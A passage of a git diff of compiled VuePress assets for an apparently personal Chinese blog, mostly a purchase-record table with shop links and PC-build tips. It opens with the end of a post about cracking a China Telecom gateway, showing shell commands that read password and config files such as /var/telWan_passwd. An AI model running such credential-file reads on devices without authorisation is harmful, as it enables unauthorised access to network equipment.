尝试写入/etc/passwd, 但是不起作用,想着看看有没有明文密码
cat /flash/cfg/agentconf/factory.conf 没有 在/var 目录下找到一个密码文件,确定了
cat /var/telWan_passwd
',18),r=[u];function d(k,m){return s(),a("div",null,r)}const v=n(l,[["render",d],["__file","记一次破解天翼网关.html.vue"]]);export{v as default}; diff --git "a/assets/\350\256\260\344\270\200\346\254\241\347\240\264\350\247\243\345\244\251\347\277\274\347\275\221\345\205\263.html-yPGyP_KQ.js" "b/assets/\350\256\260\344\270\200\346\254\241\347\240\264\350\247\243\345\244\251\347\277\274\347\275\221\345\205\263.html-yPGyP_KQ.js" new file mode 100644 index 0000000..c423acd --- /dev/null +++ "b/assets/\350\256\260\344\270\200\346\254\241\347\240\264\350\247\243\345\244\251\347\277\274\347\275\221\345\205\263.html-yPGyP_KQ.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-cd2572f4","path":"/router/%E8%AE%B0%E4%B8%80%E6%AC%A1%E7%A0%B4%E8%A7%A3%E5%A4%A9%E7%BF%BC%E7%BD%91%E5%85%B3.html","title":"记一次破解天翼网关","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"router/记一次破解天翼网关.md"}');export{t as data}; diff --git "a/assets/\350\264\255\344\271\260\345\217\202\350\200\203.html-hrg296u9.js" "b/assets/\350\264\255\344\271\260\345\217\202\350\200\203.html-hrg296u9.js" new file mode 100644 index 0000000..052d39a --- /dev/null +++ "b/assets/\350\264\255\344\271\260\345\217\202\350\200\203.html-hrg296u9.js" @@ -0,0 +1 @@ +import{_ as e,o as t,c as a,a as s}from"./app-x8p6wK6B.js";const c="/assets/20220913113645278_23384-f-keS_J0.png",o={},r=s('# 购买参考
# 电池
',4),_=[r];function n(d,h){return t(),a("div",null,_)}const l=e(o,[["render",n],["__file","购买参考.html.vue"]]);export{l as default}; diff --git "a/assets/\350\264\255\344\271\260\345\217\202\350\200\203.html-j4bizFuP.js" "b/assets/\350\264\255\344\271\260\345\217\202\350\200\203.html-j4bizFuP.js" new file mode 100644 index 0000000..6923e73 --- /dev/null +++ "b/assets/\350\264\255\344\271\260\345\217\202\350\200\203.html-j4bizFuP.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-168cd3a7","path":"/ops/%E8%B4%AD%E4%B9%B0%E5%8F%82%E8%80%83.html","title":"购买参考","lang":"en-US","frontmatter":{},"headers":[{"level":3,"title":"电池","slug":"电池","link":"#电池","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"ops/购买参考.md"}');export{t as data}; diff --git "a/assets/\350\264\255\344\271\260\350\256\260\345\275\225.html-QfUG13El.js" "b/assets/\350\264\255\344\271\260\350\256\260\345\275\225.html-QfUG13El.js" new file mode 100644 index 0000000..f24dc96 --- /dev/null +++ "b/assets/\350\264\255\344\271\260\350\256\260\345\275\225.html-QfUG13El.js" @@ -0,0 +1 @@ +import{_ as e,r as o,o as s,c as _,b as t,d as l,e as d,a as u}from"./app-x8p6wK6B.js";const r="/assets/43397323951244-njmpsXEy.png",h={},i=t("h1",{id:"电子产品购买记录",tabindex:"-1"},[t("a",{class:"header-anchor",href:"#电子产品购买记录","aria-hidden":"true"},"#"),l(" 电子产品购买记录")],-1),c=t("h2",{id:"大物件",tabindex:"-1"},[t("a",{class:"header-anchor",href:"#大物件","aria-hidden":"true"},"#"),l(" 大物件")],-1),a=t("thead",null,[t("tr",null,[t("th",null,"时间"),t("th",null,"名称"),t("th",null,"链接"),t("th",null,"价格"),t("th",null,"备注")])],-1),m=t("td",null,"2022-7-12",-1),p=t("td",null,"明基",-1),f={href:"https://item.jd.com/100018492680.html",target:"_blank",rel:"noopener noreferrer"},b=t("td",null,"689",-1),k=t("td",null,"优惠价格,平时1000",-1),g=t("td",null,"2022-7-7",-1),j=t("td",null,"机械革命无界16",-1),x={href:"https://item.jd.com/100018385485.html",target:"_blank",rel:"noopener noreferrer"},z=t("td",null,"5149",-1),O=t("td",null,null,-1),w=t("td",null,"2022-2-21",-1),y=t("td",null,"宁芝82 蓝牙双模键盘",-1),E={href:"https://item.taobao.com/item.htm?spm=a1z09.2.0.0.74df2e8douxpER&id=669494951483&_u=32lhkof58479",target:"_blank",rel:"noopener noreferrer"},F=t("td",null,"495",-1),M=t("td",null,null,-1),R=t("td",null,"2021-4-25",-1),N=t("td",null,"qc35 二代",-1),v={href:"https://item.taobao.com/item.htm?spm=a1z09.2.0.0.74df2e8douxpER&id=636947020503&_u=32lhkof5ac78",target:"_blank",rel:"noopener noreferrer"},D=t("td",null,"941",-1),P=t("td",null,null,-1),V=t("td",null,"2020-12-10",-1),X=t("td",null,"松下EH-WNA8B",-1),B={href:"https://item.jd.com/4973774.html",target:"_blank",rel:"noopener noreferrer"},I=t("td",null,"349.20",-1),J=t("td",null,"现在639,好价格",-1),L=t("td",null,"2020-09-09",-1),G=t("td",null,"致巡黑",-1),K={href:"https://item.jd.com/100003311437.html",target:"_blank",rel:"noopener noreferrer"},T=t("td",null,"369",-1),q=t("td",null,null,-1),A=t("td",null,"2020-09-09",-1),S=t("td",null,"京东京造Q9吸尘器",-1),U={href:"https://item.jd.com/100002983704.html",target:"_blank",rel:"noopener noreferrer"},C=t("td",null,"759",-1),H=t("td",null,null,-1),Q=t("td",null,"2020-8-5",-1),W=t("td",null,"ipad air 3 + airpods",-1),Y={href:"https://item.taobao.com/item.htm?spm=a1z09.2.0.0.1e3e2e8d2MiFcO&id=622504595245&_u=32lhkof5923a",target:"_blank",rel:"noopener noreferrer"},Z=t("td",null,"3700",-1),$=t("td",null,null,-1),tt=t("td",null,"2020-5-26",-1),lt=t("td",null,"咪咕kindle",-1),nt={href:"https://item.jd.com/4426891.html",target:"_blank",rel:"noopener noreferrer"},dt=t("td",null,"468",-1),et=t("td",null,"白嫖失败",-1),ot=t("td",null,"2018-11-11",-1),st=t("td",null,"小米Pro 15.6英寸",-1),_t={href:"https://item.jd.com/5456134.html",target:"_blank",rel:"noopener noreferrer"},ut=t("td",null,"5499",-1),rt=t("td",null,"80京豆",-1),ht=t("td",null,"2018-10-20",-1),it=t("td",null,"松下台灯致言",-1),ct={href:"https://item.jd.com/7975035.html",target:"_blank",rel:"noopener noreferrer"},at=t("td",null,"284",-1),mt=t("td",null,null,-1),pt=t("td",null,"2018-9-11",-1),ft=t("td",null,"米动手表",-1),bt={href:"https://item.jd.com/6668183.html",target:"_blank",rel:"noopener noreferrer"},kt=t("td",null,"242",-1),gt=t("td",null,"凑单66的阿迪背包",-1),jt=t("tr",null,[t("td",null,"和"),t("td"),t("td"),t("td",null,"20155.2"),t("td")],-1),xt=t("h2",{id:"手机",tabindex:"-1"},[t("a",{class:"header-anchor",href:"#手机","aria-hidden":"true"},"#"),l(" 手机")],-1),zt=t("thead",null,[t("tr",null,[t("th",null,"时间"),t("th",null,"名称"),t("th",null,"链接"),t("th",null,"价格"),t("th",null,"备注")])],-1),Ot=t("td",null,"2021-06-10",-1),wt=t("td",null,"OPPO Reno5 Pro+ 12+256 星河入梦",-1),yt={href:"https://item.jd.com/100017267996.html",target:"_blank",rel:"noopener noreferrer"},Et=t("td",null,"3299",-1),Ft=t("td",null,"用了70京豆",-1),Mt=t("td",null,"2020-6-21",-1),Rt=t("td",null,"二手坚果pro3",-1),Nt={href:"https://item.taobao.com/item.htm?spm=a1z09.2.0.0.1e3e2e8d2MiFcO&id=620482436619&_u=32lhkof59f91",target:"_blank",rel:"noopener noreferrer"},vt=t("td",null,"1800",-1),Dt=t("td",null,null,-1),Pt=t("td",null,"2018-11-01",-1),Vt=t("td",null,"锤子r1",-1),Xt={href:"https://item.jd.com/7341428.html",target:"_blank",rel:"noopener noreferrer"},Bt=t("td",null,"2149",-1),It=t("td",null,null,-1),Jt=t("td",null,"2018-1-19",-1),Lt=t("td",null,"lg g5",-1),Gt={href:"https://item.taobao.com/item.htm?spm=a1z09.2.0.0.1e3e2e8d2MiFcO&id=564426067469&_u=32lhkof521ec",target:"_blank",rel:"noopener noreferrer"},Kt=t("td",null,"371",-1),Tt=t("td",null,null,-1),qt=t("h2",{id:"小物件-price-200",tabindex:"-1"},[t("a",{class:"header-anchor",href:"#小物件-price-200","aria-hidden":"true"},"#"),l(" 小物件 price<200")],-1),At=t("thead",null,[t("tr",null,[t("th",null,"时间"),t("th",null,"名称"),t("th",null,"链接"),t("th",null,"价格"),t("th",null,"备注")])],-1),St=t("td",null,"2019-05-18",-1),Ut=t("td",null,"床上桌",-1),Ct={href:"https://item.taobao.com/item.htm?spm=a1z09.2.0.0.1e3e2e8d2MiFcO&id=520039935490&_u=32lhkof5d163",target:"_blank",rel:"noopener noreferrer"},Ht=t("td",null,"73",-1),Qt=t("td",null,null,-1),Wt=t("td",null,"2022-8-3",-1),Yt=t("td",null,"rk r87 k黄轴",-1),Zt={href:"https://item.taobao.com/item.htm?spm=a1z09.2.0.0.1e3e2e8dqXY7ID&id=674948426625&_u=32lhkof53a87",target:"_blank",rel:"noopener noreferrer"},$t=t("td",null,"119",-1),tl=t("td",null,null,-1),ll=t("td",null,"2022-7-14",-1),nl=t("td",null,"小米空调伴侣",-1),dl={href:"https://item.jd.com/100002892977.html",target:"_blank",rel:"noopener noreferrer"},el=t("td",null,"76",-1),ol=t("td",null,null,-1),sl=t("td",null,"2022-6-14",-1),_l=t("td",null,"赛睿鼠标垫",-1),ul={href:"https://item.jd.com/100020677845.html",target:"_blank",rel:"noopener noreferrer"},rl=t("td",null,"59.00",-1),hl=t("td",null,null,-1),il=t("td",null,"2022-6-14",-1),cl=t("td",null,"g102白色",-1),al={href:"https://item.jd.com/100012720890.html",target:"_blank",rel:"noopener noreferrer"},ml=t("td",null,"99.00",-1),pl=t("td",null,null,-1),fl=t("td",null,"2022-7-27",-1),bl=t("td",null,"牙刷刷头*3",-1),kl={href:"https://item.jd.com/100026929949.html",target:"_blank",rel:"noopener noreferrer"},gl=t("td",null,"119",-1),jl=t("td",null,"用了68块钱京豆",-1),xl=t("td",null,"2022-2-23",-1),zl=t("td",null,"山寨屏幕挂灯",-1),Ol={href:"https://item.taobao.com/item.htm?spm=a1z09.2.0.0.74df2e8douxpER&id=621882049344&_u=32lhkof512fa",target:"_blank",rel:"noopener noreferrer"},wl=t("td",null,"125",-1),yl=t("td",null,null,-1),El=t("td",null,"2022-2-18",-1),Fl=t("td",null,"雷蛇八岐大蛇v2无线鼠标",-1),Ml={href:"https://item.jd.com/100020911378.html",target:"_blank",rel:"noopener noreferrer"},Rl=t("td",null,"228",-1),Nl=t("td",null,null,-1),vl=t("td",null,"2021-9-19",-1),Dl=t("td",null,"g102黑色换新",-1),Pl={href:"https://item.jd.com/100012720924.html",target:"_blank",rel:"noopener noreferrer"},Vl=t("td",null,"0",-1),Xl=t("td",null,"换新",-1),Bl=t("td",null,"2021-8-20",-1),Il=t("td",null,"米家智能插座",-1),Jl={href:"https://item.jd.com/10031978659734.html",target:"_blank",rel:"noopener noreferrer"},Ll=t("td",null,"28",-1),Gl=t("td",null,"红包-10",-1),Kl=t("td",null,"2021-08-20",-1),Tl=t("td",null,"卡王AX200PRO",-1),ql={href:"https://item.jd.com/100010702444.html",target:"_blank",rel:"noopener noreferrer"},Al=t("td",null,"129",-1),Sl=t("td",null,"用了83块礼品卡",-1),Ul=t("td",null,"2020-12-25",-1),Cl=t("td",null,"飞利浦电动牙刷头",-1),Hl={href:"https://item.jd.com/41510929895.html",target:"_blank",rel:"noopener noreferrer"},Ql=t("td",null,"101",-1),Wl=t("td",null,null,-1),Yl=t("td",null,"2020-10-14",-1),Zl=t("td",null,"路由器ups",-1),$l={href:"https://item.taobao.com/item.htm?spm=a1z09.2.0.0.1e3e2e8d2MiFcO&id=531878958487&_u=32lhkof50c80",target:"_blank",rel:"noopener noreferrer"},tn=t("td",null,"130",-1),ln=t("td",null,null,-1),nn=t("td",null,"2020-5-15",-1),dn=t("td",null,"g304+樱桃G80鼠标垫",-1),en={href:"https://item.jd.com/372416.html",target:"_blank",rel:"noopener noreferrer"},on=t("td",null,"213",-1),sn=t("td",null,null,-1),_n=t("td",null,"2020-4-20",-1),un=t("td",null,"锤子无线耳机",-1),rn={href:"https://item.jd.com/100010955652.html",target:"_blank",rel:"noopener noreferrer"},hn=t("td",null,"179",-1),cn=t("td",null,"10块京豆",-1),an=t("td",null,"2020-3-30",-1),mn=t("td",null,"飞利浦6511牙刷",-1),pn={href:"https://item.jd.com/361132.html",target:"_blank",rel:"noopener noreferrer"},fn=t("td",null,"189",-1),bn=t("td",null,"20京豆",-1),kn=t("td",null,"2018-11-12",-1),gn=t("td",null,"雷柏(Rapoo) V805",-1),jn={href:"https://item.jd.com/4619025.html",target:"_blank",rel:"noopener noreferrer"},xn=t("td",null,"174",-1),zn=t("td",null,null,-1),On=t("td",null,"2018-11-01",-1),wn=t("td",null,"g102黑色",-1),yn={href:"https://item.jd.com/4155894.html",target:"_blank",rel:"noopener noreferrer"},En=t("td",null,"99",-1),Fn=t("td",null,null,-1),Mn=t("td",null,"2019-12-10",-1),Rn=t("td",null,"usb-c扩展坞",-1),Nn={href:"https://item.taobao.com/item.htm?spm=a1z09.2.0.0.1e3e2e8d2MiFcO&id=606621738283&_u=32lhkof537f1",target:"_blank",rel:"noopener noreferrer"},vn=t("td",null,"98",-1),Dn=t("td",null,null,-1),Pn=t("td",null,"2019-10-16",-1),Vn=t("td",null,"坚果r1无线充电",-1),Xn={href:"https://item.taobao.com/item.htm?spm=a1z09.2.0.0.1e3e2e8d2MiFcO&id=570829887496&_u=32lhkof5e205",target:"_blank",rel:"noopener noreferrer"},Bn=t("td",null,"115",-1),In=t("td",null,null,-1),Jn=t("tr",null,[t("td",null,"和"),t("td"),t("td"),t("td",null,"1693"),t("td",null,"161")],-1),Ln=t("h2",{id:"家里",tabindex:"-1"},[t("a",{class:"header-anchor",href:"#家里","aria-hidden":"true"},"#"),l(" 家里")],-1),Gn=t("thead",null,[t("tr",null,[t("th",null,"时间"),t("th",null,"名称"),t("th",null,"链接"),t("th",null,"价格"),t("th",null,"备注")])],-1),Kn=t("tr",null,[t("td",null,"2019-10-1"),t("td",null,"tcl 65寸电视 2+32"),t("td",null,"--"),t("td",null,"2999"),t("td")],-1),Tn=t("td",null,"2019-10-9",-1),qn=t("td",null,"米兔3c手表",-1),An={href:"https://item.taobao.com/item.htm?spm=a1z09.2.0.0.1e3e2e8d2MiFcO&id=602018590540&_u=32lhkof57f82",target:"_blank",rel:"noopener noreferrer"},Sn=t("td",null,"418",-1),Un=t("td",null,null,-1),Cn=t("td",null,"2021-9-24",-1),Hn=t("td",null,"创维27寸2K显示器",-1),Qn={href:"https://item.jd.com/100012151749.html",target:"_blank",rel:"noopener noreferrer"},Wn=t("td",null,"899",-1),Yn=t("td",null,null,-1),Zn=t("td",null,"2020-9-23",-1),$n=t("td",null,"10只斑马jj15",-1),td={href:"https://item.jd.com/4345581.html",target:"_blank",rel:"noopener noreferrer"},ld=t("td",null,"119",-1),nd=t("td",null,null,-1),dd=t("td",null,"2021-7-27",-1),ed=t("td",null,"7060d打印机",-1),od={href:"https://item.taobao.com/item.htm?spm=a1z09.2.0.0.74df2e8douxpER&id=651496330302&_u=32lhkof529cc",target:"_blank",rel:"noopener noreferrer"},sd=t("td",null,"530",-1),_d=t("td",null,null,-1),ud=t("tr",null,[t("td",null,"2022-6-29"),t("td",null,"打印机晒鼓-2600页"),t("td",null,"xx"),t("td",null,"34.00"),t("td")],-1),rd=t("tr",null,[t("td",null,"总价"),t("td"),t("td"),t("td",null,"4999"),t("td")],-1),hd=t("h2",{id:"电脑装机-2022-11",tabindex:"-1"},[t("a",{class:"header-anchor",href:"#电脑装机-2022-11","aria-hidden":"true"},"#"),l(" 电脑装机 2022.11")],-1),id=t("thead",null,[t("tr",null,[t("th",null,"名称"),t("th",null,"价格"),t("th",null,"时间"),t("th",null,"连接"),t("th",null,"备注")])],-1),cd=t("tr",null,[t("td",null,"i5-12600kf"),t("td",null,"1600"),t("td",null,"2022-11-11"),t("td",null,"jd"),t("td",null,"板u套装")],-1),ad=t("tr",null,[t("td",null,"华硕 tuf b660m-plus d4"),t("td",null,"900"),t("td",null,"2022-11-11"),t("td",null,"jd"),t("td",null,"板u套装")],-1),md=t("td",null,"光威天策3200 32g",-1),pd=t("td",null,"375",-1),fd=t("td",null,"2022-11-11",-1),bd={href:"https://item.jd.com/100025295848.html",target:"_blank",rel:"noopener noreferrer"},kd=t("td",null,null,-1),gd=t("td",null,"光威天策3200 32g",-1),jd=t("td",null,"250",-1),xd=t("td",null,"2023-6-15",-1),zd={href:"https://item.jd.com/100025295848.html",target:"_blank",rel:"noopener noreferrer"},Od=t("td",null,"半年降价100",-1),wd=t("tr",null,[t("td",null,"利民pa120"),t("td",null,"150"),t("td",null,"2022-11-20"),t("td",null,"pdd"),t("td")],-1),yd=t("td",null,"金百达 1t固态pcie4.0",-1),Ed=t("td",null,"375",-1),Fd=t("td",null,"2022-11-23",-1),Md={href:"https://item.jd.com/100043568171.html",target:"_blank",rel:"noopener noreferrer"},Rd=t("td",null,null,-1),Nd=t("td",null,"鑫谷电源750w",-1),vd=t("td",null,"320",-1),Dd=t("td",null,"2022-11-22",-1),Pd={href:"https://item.jd.com/100015105542.html",target:"_blank",rel:"noopener noreferrer"},Vd=t("td",null,null,-1),Xd=t("tr",null,[t("td",null,"wifi网卡"),t("td",null,"100"),t("td",null,"2023-5-1"),t("td",null,"jd"),t("td")],-1),Bd=t("tr",null,[t("td",null,"七彩虹 RTX4070 ultra w v2"),t("td",null,"4300"),t("td",null,"2023-5-31"),t("td",null,"jd"),t("td")],-1),Id=t("tr",null,[t("td",null,"垃圾机箱"),t("td",null,"30"),t("td",null,"2022-12-3"),t("td",null,"闲鱼"),t("td")],-1),Jd=t("tr",null,[t("td",null,"总价(不带显示器)"),t("td",null,"8400"),t("td"),t("td"),t("td")],-1),Ld=t("tr",null,[t("td",null,"4k144hz KOIOS K2723UL青春版"),t("td",null,"1779"),t("td",null,"2023-5-31"),t("td",null,"jd第三方店"),t("td",null,"友达7.0 商品评价100左右")],-1),Gd=t("tr",null,[t("td",null,"nta N2823UG 4k152hz"),t("td",null,"1529"),t("td",null,"2023-5-31"),t("td",null,"jd第三方店"),t("td",null,"e7b面板,商品评价15左右,满血hdmi2.1, 可惜有竖线,已经退货")],-1),Kd=t("tr",null,[t("td",null,[t("strong",null,"全套总价(带显卡显示器)")]),t("td",null,"10200"),t("td"),t("td"),t("td")],-1),Td=t("tr",null,[t("td",null,"xbox手柄"),t("td",null,"429"),t("td",null,"2023-1-29"),t("td",null,"jd"),t("td")],-1),qd=t("tr",null,[t("td",null,"海康威视西数紫盘"),t("td",null,"320"),t("td",null,"2022-10-17"),t("td",null,"pdd"),t("td",null,"数据盘")],-1),Ad=t("tr",null,[t("td",null,"映众超级冰龙GTX970"),t("td",null,"350"),t("td",null,"2022-11-22"),t("td",null,"闲鱼"),t("td",null,"过渡")],-1),Sd=u('https://post.smzdm.com/p/595316/
装机经验:
- 不要上太大的风冷,丑,不方便安装
- 主板要带wifi
- 不介意大小,最好买大的主板,而不是类似b660m这种m板
- 注意显卡厚度,ultra厚度为60mm,会占用三个pcie槽
- 购买ddr4内存的话,即使有大内存需求,也尽量买双通道,单通道影响cpu、显卡发挥,双通道前后,cpu从58w提升68w,显卡60w到64w,内存8.5w到17w, 提升较大
- 机箱上方部位多一些,方便走线
# 眼镜
时间 名称 链接 价格 备注 2023-5-1 依视路钻晶x4(免费升级到膜致) 404 # 猫粮
',6),Ud=t("thead",null,[t("tr",null,[t("th",null,"时间"),t("th",null,"名称"),t("th",null,"链接"),t("th",null,"价格"),t("th",null,"备注")])],-1),Cd=t("tr",null,[t("td",null,"2023-3-23"),t("td",null,"jd京造10kg"),t("td"),t("td",null,"249"),t("td")],-1),Hd=t("tr",null,[t("td",null,"2023-1-1"),t("td",null,"希宝猫条 60个"),t("td"),t("td",null,"58+15猫超卡"),t("td")],-1),Qd=t("td",null,"2022-11-05",-1),Wd={href:"https://item.jd.com/100006576027.html",target:"_blank",rel:"noopener noreferrer"},Yd=t("td",null,null,-1),Zd=t("td",null,"190",-1),$d=t("td",null,null,-1),te=t("tr",null,[t("td",null,"2022-6-30"),t("td",null,"京东京造三文鱼1.8kg"),t("td"),t("td",null,"60"),t("td")],-1),le=t("tr",null,[t("td",null,"2022-6-30"),t("td",null,"京东京造双拼1.8kgx2"),t("td"),t("td",null,"45x2"),t("td")],-1),ne=t("tr",null,[t("td",null,"2022-1-25"),t("td",null,"4x2.5kg猫砂"),t("td"),t("td",null,"52"),t("td")],-1),de=t("tr",null,[t("td",null,"2022-1-15"),t("td",null,"网易严选猫粮7.2kg"),t("td"),t("td",null,"205"),t("td")],-1),ee=t("tr",null,[t("td",null,"2021-12-04"),t("td",null,"牛油果 2kg x 2"),t("td",null,"xx"),t("td",null,"20"),t("td",null,"10喜豆")],-1),oe=t("tr",null,[t("td",null,"2021-11-12"),t("td",null,"冠能3.5kg"),t("td"),t("td",null,"67"),t("td")],-1),se=t("tr",null,[t("td",null,"2021-11-10"),t("td",null,"京萌2kg"),t("td"),t("td",null,"17"),t("td")],-1),_e=t("tr",null,[t("td",null,"2021-10-13"),t("td",null,"京萌2kg"),t("td"),t("td",null,"47"),t("td")],-1),ue=t("tr",null,[t("td",null,"2021-9-13"),t("td",null,"皇家0.8kg"),t("td"),t("td",null,"45"),t("td")],-1),re=t("tr",null,[t("td",null,"2021-9-9"),t("td",null,"猫砂6L*3"),t("td",null,"50"),t("td",null,"50"),t("td")],-1),he=t("tr",null,[t("td",null,"和"),t("td"),t("td"),t("td",null,"975"),t("td")],-1);function ie(ce,ae){const n=o("ExternalLinkIcon");return s(),_("div",null,[i,c,t("table",null,[a,t("tbody",null,[t("tr",null,[m,p,t("td",null,[t("a",f,[l("京东"),d(n)])]),b,k]),t("tr",null,[g,j,t("td",null,[t("a",x,[l("京东"),d(n)])]),z,O]),t("tr",null,[w,y,t("td",null,[t("a",E,[l("闲鱼"),d(n)])]),F,M]),t("tr",null,[R,N,t("td",null,[t("a",v,[l("tb"),d(n)])]),D,P]),t("tr",null,[V,X,t("td",null,[t("a",B,[l("jd"),d(n)])]),I,J]),t("tr",null,[L,G,t("td",null,[t("a",K,[l("jd"),d(n)])]),T,q]),t("tr",null,[A,S,t("td",null,[t("a",U,[l("jd"),d(n)])]),C,H]),t("tr",null,[Q,W,t("td",null,[t("a",Y,[l("tb"),d(n)])]),Z,$]),t("tr",null,[tt,lt,t("td",null,[t("a",nt,[l("jd"),d(n)])]),dt,et]),t("tr",null,[ot,st,t("td",null,[t("a",_t,[l("jd"),d(n)])]),ut,rt]),t("tr",null,[ht,it,t("td",null,[t("a",ct,[l("jd"),d(n)])]),at,mt]),t("tr",null,[pt,ft,t("td",null,[t("a",bt,[l("jd"),d(n)])]),kt,gt]),jt])]),xt,t("table",null,[zt,t("tbody",null,[t("tr",null,[Ot,wt,t("td",null,[t("a",yt,[l("jd"),d(n)])]),Et,Ft]),t("tr",null,[Mt,Rt,t("td",null,[t("a",Nt,[l("闲鱼"),d(n)])]),vt,Dt]),t("tr",null,[Pt,Vt,t("td",null,[t("a",Xt,[l("jd"),d(n)])]),Bt,It]),t("tr",null,[Jt,Lt,t("td",null,[t("a",Gt,[l("tb"),d(n)])]),Kt,Tt])])]),qt,t("table",null,[At,t("tbody",null,[t("tr",null,[St,Ut,t("td",null,[t("a",Ct,[l("tb"),d(n)])]),Ht,Qt]),t("tr",null,[Wt,Yt,t("td",null,[t("a",Zt,[l("tb"),d(n)])]),$t,tl]),t("tr",null,[ll,nl,t("td",null,[t("a",dl,[l("京东"),d(n)])]),el,ol]),t("tr",null,[sl,_l,t("td",null,[t("a",ul,[l("京东"),d(n)])]),rl,hl]),t("tr",null,[il,cl,t("td",null,[t("a",al,[l("jd"),d(n)])]),ml,pl]),t("tr",null,[fl,bl,t("td",null,[t("a",kl,[l("jd"),d(n)])]),gl,jl]),t("tr",null,[xl,zl,t("td",null,[t("a",Ol,[l("闲鱼"),d(n)])]),wl,yl]),t("tr",null,[El,Fl,t("td",null,[t("a",Ml,[l("jd"),d(n)])]),Rl,Nl]),t("tr",null,[vl,Dl,t("td",null,[t("a",Pl,[l("jd"),d(n)])]),Vl,Xl]),t("tr",null,[Bl,Il,t("td",null,[t("a",Jl,[l("jd"),d(n)])]),Ll,Gl]),t("tr",null,[Kl,Tl,t("td",null,[t("a",ql,[l("JD"),d(n)])]),Al,Sl]),t("tr",null,[Ul,Cl,t("td",null,[t("a",Hl,[l("jd"),d(n)])]),Ql,Wl]),t("tr",null,[Yl,Zl,t("td",null,[t("a",$l,[l("tb"),d(n)])]),tn,ln]),t("tr",null,[nn,dn,t("td",null,[t("a",en,[l("jd"),d(n)])]),on,sn]),t("tr",null,[_n,un,t("td",null,[t("a",rn,[l("jd"),d(n)])]),hn,cn]),t("tr",null,[an,mn,t("td",null,[t("a",pn,[l("jd"),d(n)])]),fn,bn]),t("tr",null,[kn,gn,t("td",null,[t("a",jn,[l("jd"),d(n)])]),xn,zn]),t("tr",null,[On,wn,t("td",null,[t("a",yn,[l("jd"),d(n)])]),En,Fn]),t("tr",null,[Mn,Rn,t("td",null,[t("a",Nn,[l("tb"),d(n)])]),vn,Dn]),t("tr",null,[Pn,Vn,t("td",null,[t("a",Xn,[l("tb"),d(n)])]),Bn,In]),Jn])]),Ln,t("table",null,[Gn,t("tbody",null,[Kn,t("tr",null,[Tn,qn,t("td",null,[t("a",An,[l("tb"),d(n)])]),Sn,Un]),t("tr",null,[Cn,Hn,t("td",null,[t("a",Qn,[l("jd"),d(n)])]),Wn,Yn]),t("tr",null,[Zn,$n,t("td",null,[t("a",td,[l("jd"),d(n)])]),ld,nd]),t("tr",null,[dd,ed,t("td",null,[t("a",od,[l("闲鱼"),d(n)])]),sd,_d]),ud,rd])]),hd,t("table",null,[id,t("tbody",null,[cd,ad,t("tr",null,[md,pd,fd,t("td",null,[t("a",bd,[l("JD"),d(n)])]),kd]),t("tr",null,[gd,jd,xd,t("td",null,[t("a",zd,[l("JD"),d(n)])]),Od]),wd,t("tr",null,[yd,Ed,Fd,t("td",null,[t("a",Md,[l("JD"),d(n)])]),Rd]),t("tr",null,[Nd,vd,Dd,t("td",null,[t("a",Pd,[l("jd"),d(n)])]),Vd]),Xd,Bd,Id,Jd,Ld,Gd,Kd,Td,qd,Ad])]),Sd,t("table",null,[Ud,t("tbody",null,[Cd,Hd,t("tr",null,[Qd,t("td",null,[t("a",Wd,[l("网易严选7.2kg"),d(n)])]),Yd,Zd,$d]),te,le,ne,de,ee,oe,se,_e,ue,re,he])])])}const pe=e(h,[["render",ie],["__file","购买记录.html.vue"]]);export{pe as default}; diff --git "a/assets/\350\264\255\344\271\260\350\256\260\345\275\225.html-jJ5CWRUF.js" "b/assets/\350\264\255\344\271\260\350\256\260\345\275\225.html-jJ5CWRUF.js" new file mode 100644 index 0000000..4377737 --- /dev/null +++ "b/assets/\350\264\255\344\271\260\350\256\260\345\275\225.html-jJ5CWRUF.js" @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-526a70af","path":"/notebook/%E8%B4%AD%E4%B9%B0%E8%AE%B0%E5%BD%95.html","title":"电子产品购买记录","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"大物件","slug":"大物件","link":"#大物件","children":[]},{"level":2,"title":"手机","slug":"手机","link":"#手机","children":[]},{"level":2,"title":"小物件 price<200","slug":"小物件-price-200","link":"#小物件-price-200","children":[]},{"level":2,"title":"家里","slug":"家里","link":"#家里","children":[]},{"level":2,"title":"电脑装机 2022.11","slug":"电脑装机-2022-11","link":"#电脑装机-2022-11","children":[]},{"level":2,"title":"眼镜","slug":"眼镜","link":"#眼镜","children":[]},{"level":2,"title":"猫粮","slug":"猫粮","link":"#猫粮","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/购买记录.md"}');export{l as data}; diff --git "a/assets/\350\277\220\345\212\250\346\211\213\350\241\250.html-FcWbk867.js" "b/assets/\350\277\220\345\212\250\346\211\213\350\241\250.html-FcWbk867.js" new file mode 100644 index 0000000..cda50df --- /dev/null +++ "b/assets/\350\277\220\345\212\250\346\211\213\350\241\250.html-FcWbk867.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-44a727a6","path":"/notebook/%E8%BF%90%E5%8A%A8%E6%89%8B%E8%A1%A8.html","title":"运动手表","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/运动手表.md"}');export{t as data}; diff --git "a/assets/\350\277\220\345\212\250\346\211\213\350\241\250.html-g1Ph5wO2.js" "b/assets/\350\277\220\345\212\250\346\211\213\350\241\250.html-g1Ph5wO2.js" new file mode 100644 index 0000000..1cc1483 --- /dev/null +++ "b/assets/\350\277\220\345\212\250\346\211\213\350\241\250.html-g1Ph5wO2.js" @@ -0,0 +1 @@ +import{_ as t,o as d,c as e,a as r}from"./app-x8p6wK6B.js";const s="/assets/515895892836525-h9GyQ7S-.png",a="/assets/493477101625617-8YwdJfeb.png",c="/assets/379880510279073-CwzzhgUw.png",h={},o=r('# 运动手表
